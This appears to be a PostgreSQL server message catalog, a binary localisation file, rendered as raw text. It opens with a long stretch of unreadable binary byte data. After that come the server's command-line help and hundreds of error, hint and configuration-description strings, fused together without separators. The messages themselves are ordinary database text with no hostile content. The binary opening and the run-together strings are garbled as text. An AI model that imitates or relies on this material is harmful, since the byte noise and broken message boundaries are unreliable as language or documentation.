6–D–/`–1–-–Cð–#4—&X—#—E£—Dé—0.˜3_˜)“˜.½˜4ì˜5!™/W™‡™H¦™2ï™"š$6š[šwš4—šNÌš›6›,Q›I~›FÈ›/œ0?œXpœXÉœH"Kk3·4ë6 ž,WžH„žAÍžŸ")ŸHLŸ5•Ÿ"ËŸ0îŸG 5g ) 9Ç ,¡6.¡9e¡4Ÿ¡,Ô¡8¢,:¢,g¢p”¢C£OI£R™£;ì£:(¤<c¤F ¤4ç¤3¥-P¥,~¥=«¥Cé¥@-¦5n¦9¤¦[Þ¦.:§Di§3®§=â§, ¨…M¨.Ó¨8©4;©Kp©7¼©aô©.Vªq…ªc÷ªO[«2««-Þ«<¬;I¬V…¬ܬMî¬H<­H…­$έ0ó­+$®-P®4~®@³®Xô®4M¯g‚¯kê¯-V°>„°/ð@ó°A4±'v±Až± à±*²;,²;h²;¤²Eà²4&³J[³6¦³ݳ+ò³D´.c´*’´F½´"µ/'µ$WµB|µ2¿µ2òµ<%¶Sb¶¶¶.Ô¶1·45·$j·1·5Á·@÷·F8¸9¸2¹¸Hì¸J5¹G€¹?ȹRºN[ºEªºðº»»"2»NU»-¤»HÒ»F¼\b¼X¿¼l½5…½!»½ݽ*ò½@¾E^¾¤¾þsÛ¾O¿`¿<r¿¯¿fÇ¿.À4EÀzÀ“À!©À!ËÀ*íÀ2ÁNKÁ;šÁ9ÖÁJÂ[Â
mÂ7{³Â?ËÂ/Ã-;Ã!iÃ1‹Ã$½Ã.âÃ1Ä,CÄ$pÄ0•Ä$ÆÄ=ëÄ5)Å_Å-Å­Å;ÆÅFÆ$IÆ'nÆ5–Æ/ÌÆ:üÆ"7Ç7ZÇ'’Ç5ºÇ7ðÇ>(È)gÈ[‘È;íÈ/)É YÉzÉZÉ[èÉFDÊ‹ÊM—Ê=åÊ5#Ë5YËZËPêË.;Ì>jÌ‘©Ìj;ÍH¦ÍXïÍMHÎ&–Î+½ÎéÎ'þÎ5&Ï*\ÏA‡Ï'ÉÏ&ñÏIÐ#bÐ3†Ð3ºÐ3îÐ3"ÑVÑuÑ!“Ñ9µÑïÑ4Òz=Ò^¸ÒOÓRgÓVºÓ[ÔcmÔ,ÑÔþÔÕ!0ÕGRÕ7šÕEÒÕŽÖ7§ÖYßÖ9×=Q×<×:Ì×5ØJ=Ø:ˆØ@ÃØIÙ8NÙ‡Ù&—Ù$¾ÙWãÙ ;ÚC\Ú Ú@·ÚCøÚ><Û*{Û=¦Û$äÛJ	ÜKTÜ] Ü	þÜ4Ý4=Ý'rÝ+šÝHÆÝ:ÞUJÞT Þ&õÞ[ßxß!Žß+°ß*Üß0à)8àbà&ià<à/ÍàýàCá9Vágá1øá7*âbâMxâDÆâKã<Wã ”ãEµãEûãcAäH¥ä1îä å)>åhå*uå åR¸å4æ+@æ1læ!žæÀæ Öæ0÷æ>(çgçWtçPÌçè/1è5aè…—è"é#@éHdéd­éꃒêEë
\ë#jëXŽëVçëZ>ì[™ì=õìL3í)€í|ªíe'î2îCÀîUï%Zï=€ï>¾ïXýïVðOsð@Ãð#ñM(ñ'vñžñ²ñÄñ+âñò&*òaQòM³ò/ó11óJcó9®óEèóY.ôTˆôHÝôD&õKkõI·õHö
Jö7XöAö*Òö,ýö*÷H÷ ^÷a÷\á÷K>øCŠø<Îø]ùiùBvù@¹ù>úùG9ú^úCàú5$û!Zû-|û1ªûÜû/õû8%ü6^ü;•ü<Ñü#ýQ2ý=„ýFÂý+	þ(5þ&^þR…þOØþ4(ÿ_]ÿG½ÿ H;2„7·$ï74L'Ÿ8ÇBCHÃB3O;ƒK¿21>&pP—!èA
HL8•hÎB7_z7ÚB_UUµ4)@8j†£)*	IT	ož	
{Ÿ
;3W5‹2ÁMôPB=“ÑèM
>T
9“
3Í
TCf0ª%ÛAfCEªEðA6*x6£ Ú5û)1>[6šQÑ%#9Iƒ ™/º8ê;#_l9€)º0äT0"…C¨-ì:BU:˜hÓJ<J‡-ÒD2EFx¿2×;
#F;j¦0Å;öO2‰‚LGYn¡XWi`ÁT"@wD¸DýGB;Š,Æ3ó3'K[(§0Ð0L2ž*·%â  1) ![ "} 0  0Ñ %!'(!P!7d!Bœ!bß!6B"%y"eŸ",#2#(M#(v#2Ÿ#*Ò#+ý#+)$…U$fÛ$4B%w%Œ%4ª%_ß%@?&S€&<Ô&9'K'6^'C•'DÙ'@(E_(F¥("ì(!)O1)G)LÉ)* ,*2M*€*@‡*CÈ*-+7:+%r+2˜+/Ë+2û+.,BF,G‰,2Ñ,@-?E-B…-È-6Õ-Q.^.	ƒœ¥®­Ð‚EDO’¹~ ëïð_Qê*šÞÝ>ç~Í	Ãì¨ô^}yðï”	dR	u.	þs;Öc	ã¾4BÀ	•	1¨LºÔ-ô¼9IXltÇäæ	ÿÛJ\“sB	š	wN+XI	z2ABQ&†Î		1©	üEò	ròxÿŸŒ,÷Ó	ŠúÉÉ“"ÖO	öåFŽcnôܦª±|Оʑ‹úVÄ	¡šýVüò¶ÉáϺ	·é
Ma1œJÇG%q;~	wVWÍn«¡uâáu&ÿí(		zJùï~}ç蕺7‹}€Ìµ²’PƒÛµ<	
	vÝ	åˆa	šŒÒ“^	íãŠiÃ	W¼
-…#Ú·Šß›×˪	'Þ‚0¸OB3	˜V²b	?Ò SÏ1 bOƒ÷k*µÏJ4©Oh¶X¿Á±¢Í\îæ¼.
o¢	’…/F;2L@ƒ`|Ò„ÕA¹Óq4•Ù]S¯ùÃ<ƒ…gÒCð	>ad‚GaÞwŸX	]\	…	ñº»›[à	£,çoª·ûóè	öõq¼ÿ"‡ÐÊéÑiÄ¿dŸK†½;yÁÃ	2	dîœ	nÎþY	 æ)œœË˜HóhX	Up#¯	ÇSÆÚ܉g	k|SbZ}õ{xDwÅf£	C	í^:°ysàÑ\³jÂkÞ=	)â¥Õ	ÀÂ	‰	”–D	Šó¾	k¼‰£—:rfôD´È'»sàO‰nž`Ói	w	&	NÅktIÕ`ÖRzÛ¹)2”'@Ž3ŒU߀ñRs+	ê§R8p:É5œ*Ú6&8=‚,‘mi–¯®	â;Œ:v~@u	ÀÍî7Œ	ìfÌXH™	j	¬¹	È›M™ä=8'ýkZq{Ü~*”à•J	©¥ë'Êz	ì	û
HôÑNô	Õw(È	r	fp»GÒ	àèai9—±³¢µeŽ!­(t	/	¯P¦
J«$Ê0Hi¦!á:	ëЧ¡Üƒ¦±#Žp@=_¯yÇË¿	ÔJ^þÁ,KG–ÇI ¦Z	†Ô	©Ç	ŒÞɳ	èIÓimC¥	XÍe3fDáp	a¨Šò|´äà}‰%¢[?ëPYÖ_Þ¼		6w#¨ÃXóFˆÁ¡	{×,¬Ý­÷ÆøeÈyÊgTCÒ>”	ˆ	Ôg»	þÄZ	žE)‘,é­[\À´Ud¿gA{–š5jÁ±V	À(½¾¤	½±Íœ<ý9SAºÞè²ã	³‹ÆTz*	]	Kšåº™9Ϲ?œØ*¼ü€õo$Óì5ÆËÕáÚ	¸	/K»_­÷)"gòÜõÔ¤ø¨	ûò×¼#K.N=ý.ÎÖë®VÉ	&bƒ)ÂV	K¿pžÌU	Àâ¬á	» 6»Ä	Õ-Ó(áÿŸ]ýšE›îä‡^ï_	¦ÌE3òŸ4	ýï	Û‡_:-b¾²Xî™ÏQx
Eo“	ÅÚžN®	¡	í 	lé	¯Y€ö×4S¾!ÆÖ‡r˜	ݺLv	KB¹Ì	cl>vLõA¢FŽ	æÎm	ä©B€Kí†	?“K	Ÿ“	“W	³«|ÚŸŒ-8Øc7\	<‘Ÿ€x¥¶ùäݧ·4c¨˜)	æ¬Ån	—	re;П	§	†
Á	3’FìTô–ª†2	
’×	‰ª|=ª‡°-LB$RÎõ!Mq	¶ù*Ä„¬Ô2ºÊ|	B}%?Ãq	øWž·q…ÿ¿kúµc7ãM¢$šRÎø’âÕÜ	6{ȳÑð¹	{%äQæ½Ñ	i6.|c‡ ˆ\Aõ¦	L„îDÚYV¶*0®ü‡	Fç2.Gk	"0é&íéªWvÿØ„$†æÄú͘x¡©	b~j/A±•f²]7[	]Ù»l[öu#ôa^+Ó¨¬<zp5l'š—0›	–	‚ÛÒʇ—çÑrÙCû*3	~½£ëFŠ
ÀÏ	5¨HG/\#¥ÎQ›_ó{„
W¦	žñ	"Ó>¿'e9	µÐT&;*Šù]òý÷l;	Y{^4.q; Þߨˆ`(r£Y8«C);"	ë	"E¼«ŽãÔÇL,+ðW	®©ÙHÝ.N~g¿ÏØ	»:éc t·‹hØ!³r‹e2”t‚t.—›58Ë×çþâC@	U_‚	‹%[VG6	ZMúp+	å¼ÜØÛãN¤mh<àÀ¥?	uýìA	Z	‘	´êÆF[Û	ï㲋ބìA…+¸Ä	¯å	F—úLúãköÔƒ:Th	ØW.ŽT	zÓcd´ÌZm´â	Èbbe	[ ¤U¾„²	ütб	¾§
df)	-¬­J`	Õ 	oP	èp|à‚ûζ&8¬eÿâ	n§·ê›¶–æ’•cv	-	Ë]ªj‰»26½^óm™?Á33=¿U™Ýuu‚	 B\©Å¥o!ØÕ£Ö9´ˆÃüIµˆ€¾ññÅÑ1ìR3ФÕ+˜–µ™D·ïç<Yè’SOæ “]·Ü'ˆäG	r…}ì!ø`s’n´½›éP5@6°Èùþ#ËgsE	Ö8N>	€	¹-”ÍTtÝó×!	f÷J…=Å®+ʇ§âÉ^tyëðŒÆ—l	í	hñ	†²”:¶	ÏCß@Z$	x	o¶=µ	…åß	5[Q`
Ù	‰gPo	%	Ÿ˜	dâáÚ >?h°'	Ž
mÖ91ïû/žý‘ãU•,	Íù1EwÒ<Ï(‹}ÌI­É|4® ´‹¢ñ}	ß±£Ä/Vz O¨µ¾o–‚¸ub¸„	~çÔ™è§1ê	ü'	•”R?%£ó<ÙûÃéð+Ç
oy1	̧Þ	ä	͈6·	%ö7	©Oû=è¦M	¬	î@/«/háÈ—à±³Ë
ÓÝ	Wþž«Š­Æ	¡ÄË6„ÃJ¬@O€I94R<í°Ô˜×Sõ„ðZøP÷#	s	ëÄD¹4¾Àªæ!ü¤²”!	80	²G¸
	Ë	aÈíç’	¸C5‹	¢m^E
½ñ¶ƒläjAŠ	åG#ç	ê$h­	p%øÑ°	Xv+ÆïiPQ™ÁÐ	Q	S	úÁõ	«Dy)L	\7¡øíãLåmÂ(ö"		HÏôi¹ö½aî	I	Ûsuü¡ö¯—™wt	9yY‰éP¸°Q¯ÅñÊ	ή¤°	Ҥב`£ÇlàÀ†¤¯ˆr‘7בZP¥ UjÆ$z–ì
	…aþò	­†Ù‘Å¡ª÷{ÜŒ0èêU}y	f	Dºœq¤7òÝÁjÿ:åzTMeeH	§°RØþ¦?³d	¢v°‰úTñn&N	ù“Œêxd_Ö	³{	hô2m®F	šÎ(xÚ˜“IÅ	•`Ù-Ú/,vgÈÊî«	 %ßâÑŽÛbØÑ7Q0ùó	0BÙw0$9">	`¥TêÛºóÉCYk›MÉëK«	îsõH@ÂêÌj¸ƒ	û8	
vYN"Mß,ß$S]WáfÇð©n>÷1¿(xÜ5	ÂÒ3¸qlÌž	Žjåøð´	ßn‡	•½	[M 	ÙŠx	£H_˜>&	Ð
Developer options:

Options for bootstrapping mode:

Options for single-user mode:

Please read the documentation for the complete list of run-time
configuration settings and how to set them on the command line or in
the configuration file.

Report bugs to <pgsql-bugs@postgresql.org>.
  --NAME=VALUE    set run-time parameter
  --boot          selects bootstrapping mode (must be first argument)
  --describe-config  describe configuration parameters, then exit
  --help          show this help, then exit
  --single        selects single-user mode (must be first argument)
  --version       output version information, then exit
  -A 1|0          enable/disable run-time assert checking
  -B NBUFFERS     number of shared buffers
  -D DATADIR      database directory
  -E              echo statement before execution
  -F              turn fsync off
  -N MAX-CONNECT  maximum number of allowed connections
  -O              allow system table structure changes
  -P              disable system indexes
  -S WORK-MEM     set amount of memory for sorts (in kB)
  -T              send SIGSTOP to all backend servers if one dies
  -W NUM          wait NUM seconds to allow attach from a debugger
  -c NAME=VALUE   set run-time parameter
  -d 0-5          override debugging level
  -d 1-5          debugging level
  -e              use European date input format (DMY)
  -f s|i|n|m|h    forbid use of some plan types
  -h HOSTNAME     host name or IP address to listen on
  -i              enable TCP/IP connections
  -j              do not use newline as interactive query delimiter
  -k DIRECTORY    Unix-domain socket location
  -l              enable SSL connections
  -n              do not reinitialize shared memory after abnormal exit
  -o OPTIONS      pass "OPTIONS" to each server process (obsolete)
  -p PORT         port number to listen on
  -r FILENAME     send stdout and stderr to given file
  -s              show statistics after each query
  -t pa|pl|ex     show timings after each query
  -x NUM          internal use
  DBNAME          database name (defaults to user name)
  DBNAME          database name (mandatory argument in bootstrapping mode)
 at character %d column %s"%c" is not a valid binary digit"%c" is not a valid hexadecimal digit"%s" exists but is not a directory"%s" is a composite type"%s" is a directory"%s" is a system catalog"%s" is already a child of "%s"."%s" is already a view"%s" is already an attribute of type %s"%s" is an aggregate function"%s" is an index"%s" is not a domain"%s" is not a number"%s" is not a sequence"%s" is not a table"%s" is not a table or index"%s" is not a table or view"%s" is not a table, index, or TOAST table"%s" is not a table, view, or sequence"%s" is not a type"%s" is not a valid base type for a domain"%s" is not a valid data directory"%s" is not a valid operator name"%s" is not a view"%s" is not an index"%s" is not an index for table "%s""%s" is out of range for type double precision"%s" is out of range for type real"%s": found %.0f removable, %.0f nonremovable row versions in %u pages"%s": moved %u row versions, truncated %u to %u pages"%s": removed %.0f row versions in %u pages"%s": removed %d row versions in %d pages"%s": scanned %d of %u pages, containing %.0f live rows and %.0f dead rows; %d rows in sample, %.0f estimated total rows"%s": truncated %u to %u pages"0" must be ahead of "PR""9" must be ahead of "PR""E" is not supported"RN" not supported"char" out of range"interval" time zone "%s" not valid"max_stack_depth" must not exceed %ldkB"root" execution of the PostgreSQL server is not permitted.
The server must be started under an unprivileged user ID to prevent
possible system security compromise.  See the documentation for
more information on how to properly start the server.
"time with time zone" units "%s" not recognized"time" units "%s" not recognized"trust" authentication failed for user "%s"%.0f dead row versions cannot be removed yet.
Nonremovable row versions range from %lu to %lu bytes long.
There were %.0f unused item pointers.
Total free space (including removable row versions) is %.0f bytes.
%u pages are or will become empty, including %u at the end of the table.
%u pages containing %.0f free bytes are potential move destinations.
%s.%.0f index row versions were removed.
%u index pages have been deleted, %u are currently reusable.
%s.%d is not a valid encoding code%d is outside the valid range for parameter "%s" (%d .. %d)%g is outside the valid range for parameter "%s" (%g .. %g)%s%s "%s" is ambiguous%s %s will create implicit index "%s" for table "%s"%s (PID %d) exited with exit code %d%s (PID %d) was terminated by signal %d%s at end of input%s at or near "%s"%s can only be used in transaction blocks%s cannot access the server configuration file "%s": %s
%s cannot run inside a subtransaction%s cannot run inside a transaction block%s could not convert type %s to %s%s depends on %s%s depends on column "%s"%s does not know where to find the "hba" configuration file.
This can be specified as "hba_file" in "%s", or by the -D invocation option, or by the PGDATA environment variable.
%s does not know where to find the "ident" configuration file.
This can be specified as "ident_file" in "%s", or by the -D invocation option, or by the PGDATA environment variable.
%s does not know where to find the database system data.
This can be specified as "data_directory" in "%s", or by the -D invocation option, or by the PGDATA environment variable.
%s does not know where to find the server configuration file.
You must specify the --config-file or -D invocation option or set the PGDATA environment variable.
%s is a table's row type%s is not a valid encoding name%s is not allowed in a SQL function%s is not allowed in a non-volatile function%s is the PostgreSQL server.

%s position %d is not in select list%s requires a Boolean value%s requires a numeric value%s requires a parameter%s requires an integer value%s types %s and %s cannot be matched%s versus %s%s will create implicit sequence "%s" for serial column "%s.%s"%s(*) must be used to call a parameterless aggregate function%s(*) specified, but %s is not an aggregate function%s.%s: WSAStartup failed: %d
%s: could not determine user name (GetUserName failed)
%s: could not dissociate from controlling TTY: %s
%s: could not find the database system
Expected to find it in the directory "%s",
but could not open file "%s": %s
%s: could not fork background process: %s
%s: could not locate matching postgres executable%s: could not open file "%s": %s
%s: could not write external PID file "%s": %s
%s: invalid argument for option -f: "%s"
%s: invalid argument for option -t: "%s"
%s: invalid argument: "%s"
%s: invalid command-line arguments%s: invalid command-line arguments
%s: invalid datetoken tables, please fix
%s: invalid effective UID: %d
%s: no database nor user name specified%s: real and effective user IDs must match
%s: setsysinfo failed: %s
%s: superuser_reserved_connections must be less than max_connections
%s: the number of buffers (-B) must be at least twice the number of allowed connections (-N) and at least 16
%u index pages have been deleted, %u are currently reusable.
%s.%u is not a tablespace OID--%s requires a value-c %s requires a valueA field with precision %d, scale %d must round to an absolute value less than %s%d.A function returning "internal" must have at least one "internal" argument.A name must follow the "group" or "user" key word.A page write in process during an operating system crash might be only partially written to disk.  During recovery, the row changes stored in WAL are not enough to recover.  This option writes pages when first modified after a checkpoint to WAL so full recovery is possible.A relation has an associated type of the same name, so you must use a name that doesn't conflict with any existing type.A value of 0 turns off the timeout.A value of 0 uses the system default.ACL array contains wrong data typeACL arrays must be one-dimensionalACL arrays must not contain null valuesACL key word must be "group" or "user".Actual return type is %s.Add the expression/function to every SELECT, or move the UNION into a FROM clause.Age at which VACUUM should scan whole table to freeze tuples.Age at which to autovacuum a table to prevent transaction ID wraparound.All column datatypes must be hashable.Allows archiving of WAL files using archive_command.Allows modifications of the structure of system tables.Also controls interpretation of ambiguous date inputs.An empty string selects the database's default tablespace.An invalid floating-point operation was signaled. This probably means an out-of-range result or an invalid operation, such as division by zero.Anyone can COPY to stdout or from stdin. psql's \copy command also works for anyone.Anyone can use the client-side lo_export() provided by libpq.Anyone can use the client-side lo_import() provided by libpq.AprAprilArray with element type %s cannot be included in ARRAY construct with element type %s.Arrays of %d and %d dimensions are not compatible for concatenation.Arrays with differing dimensions are not compatible for concatenation.Arrays with differing element dimensions are not compatible for concatenation.Arrays with element types %s and %s are not compatible for concatenation.AugAugustAutomatic log file rotation will occur after N kilobytes.Automatic log file rotation will occur after N minutes.Automatically adds missing table references to FROM clauses.AutovacuumBEFORE STATEMENT trigger cannot return a valueBackground writer maximum number of LRU pages to flush per round.By default, connection logs only show the IP address of the connecting host. If you want them to show the host name you can turn this on, but depending on your host name resolution setup it might impose a non-negligible performance penalty.CACHE (%s) must be greater than zeroCONTEXT:  COPY %s, line %dCOPY %s, line %d, column %sCOPY %s, line %d, column %s: "%s"COPY %s, line %d, column %s: null inputCOPY %s, line %d: "%s"COPY (SELECT INTO) is not supportedCOPY (SELECT) WITH OIDS is not supportedCOPY BINARY is not supported to stdout or from stdinCOPY HEADER available only in CSV modeCOPY delimiter cannot be newline or carriage returnCOPY delimiter must not appear in the NULL specificationCOPY escape available only in CSV modeCOPY file signature not recognizedCOPY force not null available only in CSV modeCOPY force not null only available using COPY FROMCOPY force quote available only in CSV modeCOPY force quote only available using COPY TOCOPY from stdin failed: %sCOPY null representation cannot use newline or carriage returnCOPY quote available only in CSV modeCOST must be positiveCREATE ASSERTION is not yet implementedCREATE TABLE AS specifies too many column namesCREATE VIEW specifies more column names than columnsCREATE specifies a schema (%s) different from the one being created (%s)CSV quote character must not appear in the NULL specificationCan be specified as relative to the data directory or as absolute path.Cannot cast type %s to %s in column %d.Cannot enlarge string buffer containing %d bytes by %d more bytes.Cast the output of the non-recursive term to the correct type.Causes '...' strings to treat backslashes literally.Causes all statements generating error at or above this level to be logged.Causes subtables to be included by default in various commands.Certificates will not be checked against revocation list.Change the ownership of the index's table, instead.Check for missing "SPI_finish" calls.Check free disk space.Check function bodies during CREATE FUNCTION.Check if there are any old server processes still running, and terminate them.Client Connection DefaultsClient Connection Defaults / Locale and FormattingClient Connection Defaults / Other DefaultsClient Connection Defaults / Statement BehaviorClose open transactions soon to avoid wraparound problems.Collects information about executing commands.Connect to the database where the transaction was prepared to finish it.Connections and AuthenticationConnections and Authentication / Connection SettingsConnections and Authentication / Security and AuthenticationConsider increasing the configuration parameter "checkpoint_segments".Consider using tablespaces instead.Consult recent messages in the server log for details.Continues processing past damaged page headers.Continuing anyway, but there's something wrong.Continuing to retry for 30 seconds.Could not close file "%s": %m.Could not fsync file "%s": %m.Could not open file "%s": %m.Could not read from file "%s" at offset %u: %m.Could not seek in file "%s" to offset %u: %m.Could not write to file "%s" at offset %u: %m.Create new tables with OIDs by default.Creating a shell type definition.Customized OptionsDEBUGDEFAULT can only appear in a VALUES list within INSERTDETAIL:  DISTINCT is not implemented for window functionsDISTINCT is supported only for single-argument aggregatesDISTINCT specified, but %s is not an aggregate functionDROP ASSERTION is not yet implementedDatabase OID %u now seems to belong to "%s".Datetimes are integer based.DecDecemberDeclare it with SCROLL option to enable backward scan.Detection of a damaged page header normally causes PostgreSQL to report an error, aborting the current transaction. Setting zero_damaged_pages to true causes the system to instead report a warning, zero out the damaged page, and continue processing. This behavior will destroy data, namely all the rows on the damaged page.Developer OptionsDisables reading from system indexes.Do not mix Gregorian and ISO week date conventions in a formatting template.ERROREmit WAL-related debugging output.Emit information about resource usage in sorting.Enable bounded sorting using heap sort.Enable input of NULL elements in arrays.Enable options "stats_start_collector" and "stats_row_level".Enable the "track_counts" option.Enables SSL connections.Enables genetic query optimization.Enables per-database user names.Enables the collection of information on the currently executing command of each session, along with the time at which that command began execution.Enables the planner to use constraints to optimize queries.Enables the planner's use of TID scan plans.Enables the planner's use of bitmap-scan plans.Enables the planner's use of explicit sort steps.Enables the planner's use of hash join plans.Enables the planner's use of hashed aggregation plans.Enables the planner's use of index-scan plans.Enables the planner's use of merge join plans.Enables the planner's use of nested-loop join plans.Enables the planner's use of sequential-scan plans.Enables updating of the process title every time a new SQL command is received by the server.Encrypt passwords.Entry in time zone file "%s", line %d, conflicts with entry in file "%s", line %d.Escape string must be empty or one character.Execution of PostgreSQL by a user with administrative permissions is not
permitted.
The server must be started under an unprivileged user ID to prevent
possible system security compromises.  See the documentation for
more information on how to properly start the server.
Expected %d parameters but got %d.Expected a numeric timeline ID.Explicitly cast to the desired type, for example ARRAY[]::integer[].Extension libraries are required to use the PG_MODULE_MAGIC macro.FATALFOR UPDATE/SHARE in a recursive query is not implementedFORCE NOT NULL column "%s" not referenced by COPYFORCE QUOTE column "%s" not referenced by COPYFULL JOIN is only supported with merge-joinable join conditionsFailed on request of size %lu.Failed system call was semget(%lu, %d, 0%o).Failed system call was shmget(key=%lu, size=%lu, 0%o).Failed while creating memory context "%s".FebFebruaryField requires %d characters, but only %d could be parsed.Field requires %d characters, but only %d remain.File "%s" does not contain valid data.File "%s" is missing.File LocationsFile must be owned by the database user and must have no permissions for "group" or "other".For RAID arrays, this should be approximately the number of drive spindles in the array.For example, FROM (SELECT ...) [AS] foo.For example, FROM (VALUES ...) [AS] foo.Forces a switch to the next xlog file if a new file has not been started within N seconds.Forces synchronization of updates to disk.Found referenced table's DELETE trigger.Found referenced table's UPDATE trigger.Found referencing table's trigger.FriFridayGEQO: effort is used to set the default for other GEQO parameters.GEQO: number of individuals in the population.GEQO: number of iterations of the algorithm.GEQO: selective pressure within the population.GIN indexes do not support whole-index scansGenerates debugging output for LISTEN and NOTIFY.HINT:  INCREMENT must not be zeroINFOINSERT has more expressions than target columnsINSERT has more target columns than expressionsINSTEAD NOTHING rules on SELECT are not implementedINTERVAL(%d) precision must not be negativeINTERVAL(%d) precision reduced to maximum allowed, %dINTO is only allowed on first SELECT of UNION/INTERSECT/EXCEPTIP address and mask do not match in file "%s" line %dIPv4IPv6IS DISTINCT FROM does not support set argumentsIS DISTINCT FROM requires = operator to yield booleanIdent authentication failed for user "%s"Ident authentication is not supported on local connections on this platformIdentifier must be less than %d characters.If a dynamically loadable module needs to be opened and the specified name does not have a directory component (i.e., the name does not contain a slash), the system will search this path for the specified file.If blank, no prefix is used.If this has occurred more than once some data might be corrupted and you might need to choose an earlier recovery target.If this parameter is set, the server will automatically run in the background and any controlling terminals are dissociated.If you are not restoring from a backup, try removing the file "%s/backup_label".If you're sure there is no backup in progress, remove file "%s" and try again.If your source string is not fixed-width, try using the "FM" modifier.In a moment you should be able to reconnect to the database and repeat your command.Incomplete insertion detected during crash replay.Incorrect XLOG_BLCKSZ in page header.Incorrect XLOG_SEG_SIZE in page header.Increase max_prepared_transactions (currently %d).Increase the configuration parameter "max_stack_depth", after ensuring the platform's stack depth limit is adequate.Increase the platform's stack depth limit via "ulimit -s" or local equivalent.Indents parse and plan tree displays.Input has too few columns.Input has too many columns.Intervals are not tied to specific calendar dates.Is another postgres (PID %d) running in data directory "%s"?Is another postgres (PID %d) using socket file "%s"?Is another postmaster (PID %d) running in data directory "%s"?Is another postmaster (PID %d) using socket file "%s"?Is another postmaster already running on port %d? If not, remove socket file "%s" and retry.Is another postmaster already running on port %d? If not, wait a few seconds and retry.Ispell dictionary supports only default flag valueIt does not prevent updating the indexes, so it is safe to use.  The worst consequence is slowness.It looks like you need to initdb.It looks like you need to recompile or initdb.It seems to have just been dropped or renamed.It's just here so that we won't choke on SET AUTOCOMMIT TO ON from 7.3-vintage clients.JOIN/ON clause refers to "%s", which is not part of JOINJanJanuaryJulJulyJunJuneJunk after right parenthesis.Kerberos 5 authentication failed for user "%s"Kerberos 5 not implemented on this serverKerberos initialization returned error %dKerberos keytab resolving returned error %dKerberos recvauth returned error %dKerberos sname_to_principal("%s", "%s") returned error %dKerberos unparse_name returned error %dKey (%s)=(%s) is not present in table "%s".Key (%s)=(%s) is still referenced from table "%s".Key columns "%s" and "%s" are of incompatible types: %s and %s.LDAP authentication failed for user "%s"LDAP login failed for user "%s" on server "%s": error code %dLDAP over SSL is not supported on this platform.LIKE pattern must not end with escape characterLIMIT #,# syntax is not supportedLIMIT in a recursive query is not implementedLOCATION is not supported anymoreLOCATION:  %s, %s:%d
LOCATION:  %s:%d
LOGLines should have the format parameter = 'value'.Lists shared libraries to preload into each backend.Lists shared libraries to preload into server.Lock ManagementLog the use of temporary files larger than this number of kilobytes.Logs each query's parse tree.Logs each query's rewritten parse tree.Logs each successful connection.Logs end of a session, including duration.Logs long lock waits.Logs the duration of each completed SQL statement.Logs the host name in the connection logs.Low bound array has different size than dimensions array.Lower bound of dimension array must be one.MATCH FULL does not allow mixing of null and nonnull key values.MATCH PARTIAL not yet implementedMD5 authentication is not supported when "db_user_namespace" is enabledMD5 password cleared because of role renameMINVALUE (%s) must be less than MAXVALUE (%s)Magic block has unexpected length or padding difference.Malformed declaration: missing version.MarMarchMaxFragments should be >= 0Maximum number of TCP keepalive retransmits.MayMinWords should be less than MaxWordsMinWords should be positiveMinimum age at which VACUUM should freeze a table row.Minimum number of tuple inserts, updates or deletes prior to analyze.Minimum number of tuple updates or deletes prior to vacuum.Missing encoding in text declaration.Missing left parenthesis.MonMondayMultiple of the average buffer usage to free per round.Must be superuser or the user that prepared the transaction.Must be superuser to create a tablespace.Must provide "relationname.columnname".NEW used in query that is not in a ruleNOTICENULLIF does not support set argumentsNULLIF requires = operator to yield booleanNUMERIC precision %d must be between 1 and %dNUMERIC scale %d must be between 0 and precision %dNo rows were found in "%s".Not enough memory for reassigning the prepared transaction's locks.Not safe to send CSV data
NovNovemberNumber of simultaneous requests that can be handled efficiently by the disk subsystem.Number of tuple inserts, updates or deletes prior to analyze as a fraction of reltuples.Number of tuple updates or deletes prior to vacuum as a fraction of reltuples.OFFSET in a recursive query is not implementedOID out of rangeOLD used in query that is not in a ruleON COMMIT can only be used on temporary tablesORDER BY in a recursive query is not implementedOUT and INOUT arguments aren't allowed in TABLE functionsOctOctoberOnly result column names can be used, not expressions or functions.Only superusers can use untrusted languages.Operator class "%s" already is the default.Options:
Ordering operators must be "<" or ">" members of btree operator families.PAM authentication failed for user "%s"PANICPID %d in cancel request did not match any processPID %d is not a PostgreSQL server processParsing XML declaration: '?>' expected.Perhaps out of disk space?Perhaps you meant to reference the table alias "%s".Perhaps you need a different "datestyle" setting.Permissions should be u=rwx (0700).Physical storage mismatch on dropped attribute at ordinal position %d.Please REINDEX it.PostgreSQL does not support leap seconds.Preset OptionsProceeding with relation creation anyway.Process %d waits for %s on %s; blocked by process %d.Provide two argument types for operator.QUERY:  Query TuningQuery Tuning / Genetic Query OptimizerQuery Tuning / Other Planner OptionsQuery Tuning / Planner Cost ConstantsQuery Tuning / Planner Method ConfigurationQuery provides a value for a dropped column at ordinal position %d.RESET must not include values for parametersRETURNING list has too few entriesRETURNING list has too many entriesRETURNING list's entry %d has different size from column "%s"RETURNING list's entry %d has different type from column "%s"RETURNING lists are not supported in conditional rulesRETURNING lists are not supported in non-INSTEAD rulesRIGHT JOIN is only supported with merge-joinable join conditionsROW() column has type %s instead of type %sROWS must be positiveRebuild the index with REINDEX.Recreate the database with another locale or install the missing locale.Remove this referential integrity trigger and its mates, then do ALTER TABLE ADD CONSTRAINT.Reporting and LoggingReporting and Logging / What to LogReporting and Logging / When to LogReporting and Logging / Where to LogResource UsageResource Usage / Kernel ResourcesResource Usage / MemoryReturned type %s at ordinal position %d, but query expects %s.Row type defined by OUT parameters is different.Run pg_stop_backup() and try again.Runs the server silently.S:MaySELECT * with no tables specified is not validSELECT DISTINCT ON expressions must match initial ORDER BY expressionsSELECT FOR UPDATE/SHARE cannot be applied to NEW or OLDSELECT FOR UPDATE/SHARE cannot be applied to VALUESSELECT FOR UPDATE/SHARE cannot be applied to a functionSELECT FOR UPDATE/SHARE cannot be applied to a joinSELECT FOR UPDATE/SHARE cannot be applied to the nullable side of an outer joinSELECT FOR UPDATE/SHARE is not allowed in subqueriesSELECT FOR UPDATE/SHARE is not allowed with DISTINCT clauseSELECT FOR UPDATE/SHARE is not allowed with GROUP BY clauseSELECT FOR UPDATE/SHARE is not allowed with HAVING clauseSELECT FOR UPDATE/SHARE is not allowed with UNION/INTERSECT/EXCEPTSELECT FOR UPDATE/SHARE is not allowed with aggregate functionsSELECT rule's target entry %d has different column name from "%s"SELECT rule's target entry %d has different size from column "%s"SELECT rule's target entry %d has different type from column "%s"SELECT rule's target list has too few entriesSELECT rule's target list has too many entriesSET %s takes only one argumentSET AUTOCOMMIT TO OFF is no longer supportedSET TRANSACTION ISOLATION LEVEL must be 